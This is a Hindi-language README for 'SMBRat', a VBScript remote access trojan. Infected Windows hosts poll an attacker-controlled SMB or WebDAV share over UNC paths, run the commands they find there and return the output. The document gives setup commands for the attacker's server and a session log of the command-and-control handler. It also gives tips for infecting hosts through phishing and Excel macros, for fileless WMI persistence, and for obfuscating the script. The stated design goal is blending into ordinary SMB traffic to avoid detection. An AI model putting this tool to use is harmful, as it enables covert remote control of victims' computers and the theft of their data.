
UNC पथों के साथ विज़ुअल बेसिक में एक विंडोज रिमोट प्रशासन उपकरण
एक विंडोज़ रिमोट एडमिनिस्ट्रेशन टूल विज़ुअल बेसिक स्क्रिप्ट में
विंडोज़ वातावरण जैसे एक्टिव डायरेक्ट्री नेटवर्क, SMB ट्रैफिक से बहुत भारी हो जाते हैं।
सभी होस्ट SYSVOL से पॉलिसियाँ प्राप्त करते हैं, कॉन्फ़िगरेशन को काम करने के लिए रिमोट फ़ाइलों की आवश्यकता होती है, डेस्कटॉप शॉर्टकट \\something\else\in\the\network.exe की ओर इशारा करते हैं।
कोई भी एक और कनेक्शन प्रयास पर ध्यान नहीं देगा। सही है?
- विशेष रूप से यदि यह सफल होता है (यह केवल फ़ायरवॉल डेनीज़ की निगरानी करने का एक फैशन है)
agent एक विज़ुअल बेसिक स्क्रिप्ट है जो संक्रमित होस्ट पर चलती है और SMB सर्वर से जुड़ती है। यह वहाँ होस्ट के hostname और प्राथमिक MAC पते के नाम पर एक निर्देशिका बनाता है (रिपोर्टिंग उद्देश्यों के लिए अद्वितीय और जानकारीपूर्ण होने का प्रयास करता है)। संक्रमित होस्ट के सभी कमांड और जानकारी इस निर्देशिका में संग्रहीत की जाएंगी। पूरे साझा फ़ोल्डर को zip करने से सभी प्रोजेक्ट जानकारी संग्रहीत हो जाएगी!
यह शेयर को माउंट करने के लिए ड्राइव लेटर का उपयोग नहीं करता, केवल UNC पथों का उपयोग करके सीधे रिमोट फ़ाइलों को पढ़ता है (explorer.exe में कोई ड्राइव नहीं बनाई जाती)।
यह अपने स्वयं के निष्पादन वातावरण के %PATH% वेरिएबल में UNC पथ भी इंजेक्ट करता है (आप अपने Linux मशीन के फाइलसिस्टम से सीधे एक्जीक्यूटेबल चला सकते हैं)।
agent को एक बार चलने के लिए कॉन्फ़िगर किया गया है। स्थितिहीन रूप से।
इसकी दिनचर्या (लगभग) इस प्रकार है:
exec.dat नामक फ़ाइल की तलाश करता हैcmd.exe /c <command> के साथ एक अर्ध-इंटरैक्टिव शेल की तरह कमांड के रूप में निष्पादित करता है।output.dat में संग्रहीत किया जाता है (exec.dat के बगल में)।exec.dat फ़ाइल को हटा देता है।handler को काम करने के लिए एक SMB सर्वर की आवश्यकता है। Core Security's impacket पैकेज से smbserver.py मॉड्यूल काम करेगा।
संभवतः smbd भी काम करेगा, लेकिन अभी तक परीक्षण नहीं किया गया है।
एक D$ नाम का शेयर आवश्यक है, जो एक वैध विंडोज़ होस्ट के SMB जैसा दिखे।
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
चूँकि agent केवल UNC पथों का उपयोग करने के लिए कॉन्फ़िगर किया गया है, WebDAV का भी शून्य-परिवर्तन के साथ उपयोग किया जा सकता है।
SMB सर्वर के बजाय, एक WebDAV सर्वर का उपयोग किया जा सकता है (SSL समर्थन वाला एक अच्छा WebDAV सर्वर wsgidav है)।
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
SSL समर्थन के लिए, UNC पथों को थोड़ा बदलना होगा, से:
\\<Server-IP>\DIR\
से:
\\<Server-IP>@SSL@443\DIR\
यह परिवर्तन केवल ServerName agent.vbs वेरिएबल में किया जा सकता है, क्योंकि सभी पथ इसी से निर्मित होते हैं।
ध्यान रखें कि SSL प्रमाणपत्रों को agent चलाने वाले सिस्टम द्वारा विश्वसनीय होना चाहिए। स्व-हस्ताक्षरित प्रमाणपत्र चेतावनियों के साथ विफल होंगे।
agent.vbs फ़ाइल की शुरुआत में कई सेकंड की देरी (10 सेकंड आदर्श है) के साथ एक While लूप जोड़ा जा सकता है, और यह डबल क्लिक / फ़िशिंग / एक्सेल मैक्रोज़ / आदि के माध्यम से विंडोज़ होस्ट को संक्रमित करने में सक्षम होगा...
Do While True
[...]
WScript.Sleep 1000
Loop
फिर भी, यदि किसी विंडोज़ होस्ट में RPC सक्षम है, तो WMI और शानदार impacket पैकेज उदाहरणों के माध्यम से VBS फ़ाइल को फ़ाइललेस मैलवेयर के रूप में स्थापित करना संभव है, जैसे एक कमांड:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
स्थानीय पहुँच द्वारा WMI टूल का उपयोग करके agent.vbs को फ़ाइललेस मैलवेयर के रूप में स्थापित करना भी संभव है।
विज़ुअल बेसिक स्क्रिप्ट को अच्छी तरह से अस्पष्ट किया जा सकता है, base64 एन्कोड किया जा सकता है और मिनिफ़ाई भी किया जा सकता है।
'तैनात' करने से पहले इसे एक बार आज़माना वास्तव में उपयोगी हो सकता है 😉
लेखन के समय, कोई इसलिए उपयोग केवल Handler शेल लागू नहीं किया गया है,watch जैसी कमांड का उपयोग करके output.dat फ़ाइल का निरीक्षण करने के लिए किया जा सकता है:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
और exec.dat फ़ाइल में सामग्री लिखने के लिए echo:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.pyप्रयोगात्मक शेल इस प्रकार काम करता है:
$ python handler.py Share/
SMBRat>
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
ट्रैफिक (फ़ाइल सामग्री और पथ) यदि SMBv1 सर्वर का उपयोग किया जाता है (जैसे impacket का smbserver.py) तो सादे पाठ में स्थानांतरित होता है।
सभी एजेंट पूरे शेयर में संग्रहीत फ़ाइलों को संशोधित कर सकते हैं। अर्थात वे अन्य एजेंटों के exec.dat को संशोधित कर सकते हैं...
एक smbmap प्रकाश डालेगा:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
smbmap के -u और -p पैरामीटर की कमी पर ध्यान दें।यह एक NULL सत्र है (FTP अनाम लॉगिन की तरह)। हर कोई शेयर फ़ाइलों को बदल सकता है और सभी संक्रमित मशीनों पर रिमोट कोड निष्पादन प्राप्त कर सकता है।
iptables जलाना बेहतर होगा...execall netsh टाइप करें और आप अपने सभी एजेंट खो देंगे। कोई भी उत्तर नहीं देगा क्योंकि agent.vbs netsh.exe शेल को स्पॉन करेगा और इसके समाप्त होने की प्रतीक्षा करेगा, ताकि वह अपनी सामग्री को output.dat में लिख सके। लेकिन अंदाजा लगाइए... यह समाप्त नहीं होगा... यह netsh> के साथ लटक जाएगा जो शून्य की ओर इशारा करता है।